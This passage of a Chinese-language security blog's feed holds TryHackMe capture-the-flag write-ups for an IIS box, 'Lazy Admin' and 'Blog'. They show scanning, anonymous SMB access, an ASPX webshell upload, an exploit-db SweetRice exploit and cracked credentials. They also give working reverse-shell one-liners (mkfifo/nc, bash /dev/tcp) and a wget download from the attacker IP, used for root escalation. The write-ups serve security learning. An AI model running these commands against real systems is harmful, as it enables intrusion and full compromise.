&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 153.72 seconds
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;發現應該是 Winodws Server 2016 的機器&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="觀察網頁"&gt;觀察網頁&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;去看 80 Port&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/bb235-Wz90g9G.png"&gt;&lt;/li&gt;
&lt;li&gt;是一個 IIS 的 Default Page掃目錄- &lt;code&gt;python3 dirsearch.py -u http://10.10.115.198/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b00de-Z5TN3wB.png"&gt;&lt;/li&gt;
&lt;li&gt;看起來沒什麼結果&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="觀察-smb"&gt;觀察 SMB&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;smbclient --no-pass -L //10.10.115.198/&lt;/code&gt;可以觀察到有一個 &lt;code&gt;nt4wrksv&lt;/code&gt; 目錄&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2881b-8B5dC11.png"&gt;&lt;code&gt;smbclient -N //10.10.115.198/nt4wrksv&lt;/code&gt;- 就連上ㄌ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c0159-BKiLHzJ.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;get passwords.txt&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/94ded-GmGYudx.png"&gt;觀察 &lt;code&gt;passwords.txt&lt;/code&gt; 檔案- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dbc81-0ruQyhn.png"&gt;&lt;/li&gt;
&lt;li&gt;會發現是編碼過後的東西，後面有 &lt;code&gt;==&lt;/code&gt; 所以很明顯是 Base64&lt;code&gt;Qm9iIC0gIVBAJCRXMHJEITEyMw==&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk&lt;/code&gt;解 Base64- 可以用 &lt;code&gt;base64 -d 嘗試把帳密用 RDP 連線- &lt;/code&gt;xfreerdp +drives /u:Bob /v:10.10.115.198`&lt;/li&gt;
&lt;li&gt;&lt;code&gt;xfreerdp +drives /u:Bill /v:10.10.115.198&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但也都失敗ㄌQQ嘗試連線 SMB- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8ef44-0jHgQkI.png"&gt;&lt;/li&gt;
&lt;li&gt;但也都失敗了&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="搜尋更多的-port"&gt;搜尋更多的 Port&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rustscan -a 10.10.115.198 --accessible -r 1-65535&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9c637-vASh02r.png"&gt;&lt;/li&gt;
&lt;li&gt;發現真的有藏東西!!&lt;code&gt;49669&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;49663&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;49667&lt;/code&gt;這邊我同時用 nmap 跑了一次，不過真的有夠慢QQ- &lt;code&gt;nmap -p- 10.10.115.198&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/8b986-RMxh6CS.png"&gt;&lt;code&gt;nmap -A -p49669,49663,49667 10.10.115.198&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/35e2d-Ekzf2uB.png"&gt;&lt;/li&gt;
&lt;li&gt;發現 49663 是一個 IIS webserver掃目錄- &lt;code&gt;python3 dirsearch.py -u http://10.10.115.198:49663/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;掃到 &lt;code&gt;aspnet_client&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/49fc6-Y8hxkis.png"&gt;&lt;/li&gt;
&lt;li&gt;搜尋發現 &lt;code&gt;aspnet_client/system_web&lt;/code&gt; 裡面常常會搭配一些特定字串https://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html?view=flipcard所以可以再依據字串掃一次- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/d9d28-zMsZUx2.png"&gt;&lt;/li&gt;
&lt;li&gt;還真的掃到了 &lt;code&gt;4_0_30319&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="通靈掃描qq"&gt;通靈掃描QQ&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;不知道為什麼機器死掉ㄌ，重新開的 IP 是 &lt;code&gt;10.10.63.244&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;我們如果隨便訪問一個不存在的目錄，會回應404&lt;code&gt;curl -I http://10.10.63.244:49663/12334/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/e71a2-o4SUzYj.png"&gt;通靈覺得，說不定 webroot 有剛才 smb 的資料夾?- &lt;code&gt;curl -I curl -I http://10.10.63.244:49663/nt4wrksv/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;200! 還真的有!!&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/90164-S3zKRkv.png"&gt;那我們是不是能取得剛剛 &lt;code&gt;passwords.txt&lt;/code&gt; 的檔案- http://10.10.63.244:49663/nt4wrksv/passwords.txt&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5d11b-KSZpoMG.png"&gt;&lt;/li&gt;
&lt;li&gt;度ㄉ!!真的可以!!!!!&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="準備-exploit"&gt;準備 Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;那我們應該可以用匿名登入的 smb 來上傳東西囉!準備一隻喵喵&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1d048-s4eBOpX.png"&gt;&lt;code&gt;smbclient -N //10.10.63.244/nt4wrksv&lt;/code&gt;- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b6bff-L6DIdNv.png"&gt;嘗試用瀏覽器訪問!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/9f48e-kVrt6js.png"&gt;&lt;/li&gt;
&lt;li&gt;成功!!!既然他是 IIS ，又是 ASPX，那我們應該可以傳個 aspx 的 webshell?- 網路上隨便找了一ㄍhttps://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd.aspx&lt;/li&gt;
&lt;li&gt;丟上去&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/3129e-GALqpOA.png"&gt;可以ㄟ!!!- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/af57d-WbsRzYu.png"&gt;&lt;/li&gt;
&lt;li&gt;好讚ㄛ可以看系統的資訊ㄌ- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1f0fc-JDuWVj0.png"&gt;亂逛系統- 輸入指令 &amp;ldquo;cd &amp;hellip;&amp;hellip;\Users\Bob\Desktop &amp;amp;&amp;amp; dir&amp;rdquo;&lt;code&gt;![](https://i.imgur.com/hZrXxtO.png)&lt;/code&gt;取得 user flag- &lt;code&gt;&amp;quot;cd ..\..\..\Users\Bob\Desktop &amp;amp;&amp;amp; type user.txt&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2897e-GBnyp6o.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="戳-reverse-shell"&gt;戳 Reverse shell&lt;/h3&gt;
&lt;p&gt;雖然 Webshell 已經滿好用的了，但Reverse shell 用起來還是比較爽，我們來嘗試使用 Reverse shell&lt;br&gt;
下面提供了滿多我嘗試的方法，但大多數都失敗ㄌ，僅有最後一個成功，不過我把失敗的方法也都列出來&lt;/p&gt;</description></item><item><title>Lazy Admin Final (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/10/lazy-admin-final-try-hack-me-writeup/</link><pubDate>Tue, 10 Aug 2021 13:00:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/10/lazy-admin-final-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/lazyadmin"&gt;https://tryhackme.com/room/lazyadmin&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.40.99&lt;/p&gt;
&lt;h2 id="scan"&gt;Scan&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;根據套路，先掃 Port&lt;code&gt;nmap -A 10.10.40.99&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5334a-0Xc7KJW.png"&gt;&lt;/li&gt;
&lt;li&gt;發現有開 80 跟 22觀察網頁- 80 port 是一個 Apaphe 在 Ubuntu 上的 Default page&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5294c-kSfBbQw.png"&gt;掃路徑- &lt;code&gt;python3 dirsearch.py -u http://10.10.40.99&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;掃到一個 &lt;code&gt;/content&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;http://10.10.40.99/content/上面寫說他是 &lt;code&gt;SweetRice CMS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/1ddeb-Fx2sPrS.png"&gt;根據 &lt;code&gt;/content&lt;/code&gt; 繼續掃會找到- 裡面有一個 Change Log&lt;/li&gt;
&lt;li&gt;http://10.10.40.99/content/changelog.txt&lt;/li&gt;
&lt;li&gt;裡面有寫到他的版本是 &lt;code&gt;1.5&lt;/code&gt;尋找 Exploit- 找到了適用的 Exploit，不過需要使用者帳號跟密碼&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.exploit-db.com/exploits/40716"&gt;https://www.exploit-db.com/exploits/40716&lt;/a&gt;繼續掃路徑- 找到一個 &lt;code&gt;mysql_backup&lt;/code&gt;http://10.10.40.99/content/inc/mysql_backup/&lt;/li&gt;
&lt;li&gt;裡面有一個備份的 SQL 檔案&lt;/li&gt;
&lt;li&gt;內部有一些看起來是 PHP 序列話的東西&lt;code&gt;5:\\&amp;quot;admin\\&amp;quot;;s:7:\\&amp;quot;manager\\&amp;quot;;s:6:\\&amp;quot;passwd\\&amp;quot;;s:32:\\&amp;quot;42f749ade7f9e195bf475f37a44cafcb\\&amp;quot;;&lt;/code&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5cf93-EAMeYsa.png"&gt;&lt;/li&gt;
&lt;li&gt;看的出來&lt;code&gt;admin&lt;/code&gt; : &lt;code&gt;manager&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;passwd&lt;/code&gt; : &lt;code&gt;42f749ade7f9e195bf475f37a44cafcb&lt;/code&gt;透過 Google 尋找- Sweet Rice CMS 的後台是 &lt;code&gt;/as&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;http://10.10.40.99/content/as/嘗試登入- 帳號 : &lt;code&gt;manager&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;密碼 : &lt;code&gt;42f749ade7f9e195bf475f37a44cafcb&lt;/code&gt;登入失敗&lt;/li&gt;
&lt;li&gt;正常人也不太可能用這種東西作為密碼&lt;/li&gt;
&lt;li&gt;拿去 Google 後發現是 MD5可以透過這個網站解碼 &lt;a href="https://md5.gromweb.com/?md5=42f749ade7f9e195bf475f37a44cafcb"&gt;https://md5.gromweb.com/?md5=42f749ade7f9e195bf475f37a44cafcb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/56a50-dD3gjq5.png"&gt;&lt;/li&gt;
&lt;li&gt;所以答案是 &lt;code&gt;Password123&lt;/code&gt;登入成功&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/37dc2-0KYq7Vr.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="exploit"&gt;Exploit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;下載檔案&lt;code&gt;wget https://www.exploit-db.com/download/40716 -O 40716.py``python3 40716.py&lt;/code&gt; 執行並輸入需要的資料- &lt;code&gt;10.10.40.99/content&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;manager&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Password123&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;webshell.php5&lt;/code&gt;這邊我嘗試了 &lt;code&gt;webshell.php&lt;/code&gt; 但是失敗&lt;/li&gt;
&lt;li&gt;根據Exploit提示的改用 &lt;code&gt;webshell.php5&lt;/code&gt; 就可以ㄌ&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/5f910-rXuDNVF.png"&gt;使用 Webshell- 可以成功連上&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/2de63-jlR37Zn.png"&gt;改接 Reverse shell- &lt;code&gt;http://10.10.40.99/content/attachment/webshell.php5?A=wget%2010.13.21.55:8000/s%20-O%20/tmp/s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;本地端執行 &lt;code&gt;nc -nlvp 7877&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;網址shell &lt;code&gt;bash /tmp/s&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;就順利接上ㄌ&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/4fb79-AtRVVea.png"&gt;取得 Flag- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/c69e4-19Vfvm4.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="準備提權"&gt;準備提權&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;家目錄看到一組帳號密碼，先存下來&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/723bb-cxcqYN8.png"&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rice:randompass&lt;/code&gt;透過 &lt;code&gt;sudo -l&lt;/code&gt; 發現我們可以用 sudo 執行這一段 Perl- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/b8c21-SBhtfeX.png"&gt;&lt;/li&gt;
&lt;li&gt;而這一段 perl 會用 sh 呼叫 &lt;code&gt;/etc/copy.sh&lt;/code&gt;觀察 &lt;code&gt;ls -al /etc/copy.sh&lt;/code&gt;- 可以發現我們有 Write 的權限&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/404e8-c957GVn.png"&gt;先把 &lt;code&gt;/etc/copy.sh&lt;/code&gt; 備份一下以免搞壞- &lt;code&gt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 192.168.0.190 5554 &amp;gt;/tmp/f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/dc0a3-1wXCkEG.png"&gt;寫入我們的 Reverse shell- &lt;code&gt;echo &amp;quot;bash -c 'bash -i &amp;gt;&amp;amp; /dev/tcp/10.13.21.55/7878 0&amp;gt;&amp;amp;1'&amp;quot; &amp;gt; /etc/copy.sh&lt;/code&gt;監聽 Reverse shell- &lt;code&gt;nc -nvlp 7878&lt;/code&gt;執行 Reverse shell- &lt;code&gt;sudo /usr/bin/perl /home/itguy/backup.pl&lt;/code&gt;取得 Root- &lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/daaf8-Ud0s3aW.png"&gt;取得 Root Flag&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Blog (Try Hack Me Writeup)</title><link>http://blog.stevenyu.tw/2021/08/08/blog-try-hack-me-writeup/</link><pubDate>Sun, 08 Aug 2021 23:53:00 +0800</pubDate><guid>http://blog.stevenyu.tw/2021/08/08/blog-try-hack-me-writeup/</guid><description>&lt;blockquote&gt;
&lt;/blockquote&gt;
&lt;p&gt;URL : &lt;a href="https://tryhackme.com/room/blog"&gt;https://tryhackme.com/room/blog&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;IP : 10.10.175.75&lt;/p&gt;
&lt;h2 id="recon"&gt;Recon&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;老梗先用 rustscan 掃一下&lt;code&gt;rustscan -a 10.10.175.75&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/f2d47-OtN6JLT.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看出開的 port 有22&lt;/li&gt;
&lt;li&gt;80&lt;/li&gt;
&lt;li&gt;139&lt;/li&gt;
&lt;li&gt;445接下來用 nmap 做進一步的掃瞄- &lt;code&gt;nmap -A -p22,80,139,445 10.10.175.75&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/21bf3-PbaV27j.png"&gt;&lt;/li&gt;
&lt;li&gt;可以看出http-generator: WordPress 5.0What version of the above CMS was being used?- &lt;code&gt;5.0&lt;/code&gt;What CMS was Billy using?- &lt;code&gt;WordPress&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="web"&gt;Web&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;在文章內容中，可以看到有兩個作者Billy Joel帳號 :&lt;code&gt;bjoel&lt;/code&gt;Karen Wheeler- 帳號 : &lt;code&gt;kwheel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Joel 的媽媽發現網頁會自動跳轉到 &lt;code&gt;blog.thm&lt;/code&gt;- 這是 Wordpress 的一個問題，第一次進入就會在 DB 寫死 Domain name 並自動跳轉&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/965fa-mpMQnDY.png"&gt;&lt;/li&gt;
&lt;li&gt;我們可以透過修改 &lt;code&gt;/etc/hosts&lt;/code&gt; 把 IP 綁上 domain&lt;code&gt;sudo vim /etc/hosts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;裡面加上一行 &lt;code&gt;10.10.175.75 blog.thm&lt;/code&gt;用 dirsearch 掃一次看看- &lt;code&gt;python3 dirsearch.py -u http://blog.thm/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;沒有什麼特別的結果，就是 Wordpress 該有的東西而已使用 WPScan，一款針對 Wordpress 的掃描器- 可以掃描出該網站有使用哪一些套件等&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wpscan --update&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wpscan --url http://blog.thm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;/li&gt;
&lt;li&gt;&lt;img loading="lazy" src="http://blog.stevenyu.tw/uploads/2022/02/cac36-IH2DsaZ.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-gdscript3" data-lang="gdscript3"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;└─&lt;span style="color:#ff79c6"&gt;$&lt;/span&gt; wpscan &lt;span style="color:#ff79c6"&gt;--&lt;/span&gt;url http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_______________________________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; __ _______ _____
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; \ \ &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; __ \ &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; ____&lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; \ \ &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;\ &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;/|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;__) &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; (___ ___ __ _ _ __ ®
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; \ \&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; \&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; ___&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; \___ \ &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; __&lt;span style="color:#ff79c6"&gt;|/&lt;/span&gt; _` &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#f1fa8c"&gt;&amp;#39;_ &lt;/span&gt;&lt;span style="color:#f1fa8c"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f1fa8c"&gt; \ /\ / | | ____) | (__| (_| | | | |&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; \&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; \&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;_&lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;_____&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; \___&lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;\__,_&lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;_&lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;_&lt;span style="color:#ff79c6"&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; WordPress Security Scanner by the WPScan Team
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Version &lt;span style="color:#bd93f9"&gt;3.8&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;17&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Sponsored by Automattic &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; https:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;automattic&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;com&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_______________________________________________________________
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] URL: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt; [&lt;span style="color:#bd93f9"&gt;10.10&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;175.75&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Started: Sat Aug &lt;span style="color:#bd93f9"&gt;7&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;01&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;16&lt;/span&gt;:&lt;span style="color:#bd93f9"&gt;33&lt;/span&gt; &lt;span style="color:#bd93f9"&gt;2021&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Interesting Finding(s):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] Headers
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Interesting Entry: Server: Apache&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;2.4&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;&lt;span style="color:#bd93f9"&gt;29&lt;/span&gt; (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Headers (Passive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Confidence: &lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#ff79c6"&gt;+&lt;/span&gt;] robots&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;txt found: http:&lt;span style="color:#ff79c6"&gt;//&lt;/span&gt;blog&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;thm&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;robots&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Interesting Entries:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;admin&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;-&lt;/span&gt; &lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;wp&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;admin&lt;span style="color:#ff79c6"&gt;/&lt;/span&gt;admin&lt;span style="color:#ff79c6"&gt;-&lt;/span&gt;ajax&lt;span style="color:#ff79c6"&gt;.&lt;/span&gt;php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Found By: Robots Txt (Aggressive Detection)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff79c6"&gt;|&lt;/span&gt; Confidence: &lt;span style="color:#bd93f9"&gt;100&lt;/span&gt;&lt;span style="color:#ff79c6"&gt;%&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
